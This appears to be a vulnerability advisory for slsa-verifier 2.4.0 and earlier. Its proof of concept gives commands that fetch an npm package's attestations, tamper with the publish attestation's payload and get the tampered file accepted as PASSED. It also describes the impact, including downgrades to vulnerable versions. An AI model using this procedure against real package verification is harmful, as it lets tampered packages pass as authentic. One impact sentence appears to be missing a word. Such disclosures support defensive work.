Summary
slsa-verifier<=2.4.0 does not correctly verify npm's publish attestations signature.
Proof of concept
Steps to reproduce:
curl -Sso attestations.json $(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.attestations.url')
curl -Sso supreme-goggles.tgz "$(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.tarball')"
- In
attestations.json, take the value addressed by the jq selector .attestations[0].bundle.dsseEnvelope.payload, base64decode it, tamper with it, base64encode that, and replace the original value with that. Save the file as attestations_tampered.json.
Here is an example command to replace the package name with @attacker/malicious:
jq -r ".attestations[0].bundle.dsseEnvelope.payload = \"$(jq -r '.attestations[0].bundle.dsseEnvelope.payload | @base64d' < attestations.json | jq '.subject[0].name = "pkg:npm/%40attacker/malicious"' | base64 -w0)\"" < attestations.json > attestations_tampered.json
SLSA_VERIFIER_EXPERIMENTAL=1 slsa-verifier verify-npm-package supreme-goggles.tgz --attestations-path attestations_tampered.json --builder-id "https://github.com/actions/runner/github-hosted" --package-name "@trishankatdatadog/supreme-goggles" --package-version 1.0.5 --source-uri github.com/trishankatdatadog/supreme-goggles
- The result is that
slsa-verifier fails to detect this tampering of the publish attestation (unlike with the provenance attestation) and returns PASSED.
Impact
An attacker who controls what packages and attestations are shown to a user can associate a package with an arbitrary name and version that do not match what the user expects from the publish attestation. Furthermore, the package digest in the publish attestation need not match its counterpart in the provenance attestation. However, the attacker associate the given package with an arbitrary source and builder that the user does not expect from the provenance attestation. Thus, the attacker could, for example, convince package managers to install authentic but older versions of packages that contain known, exploitable vulnerabilities.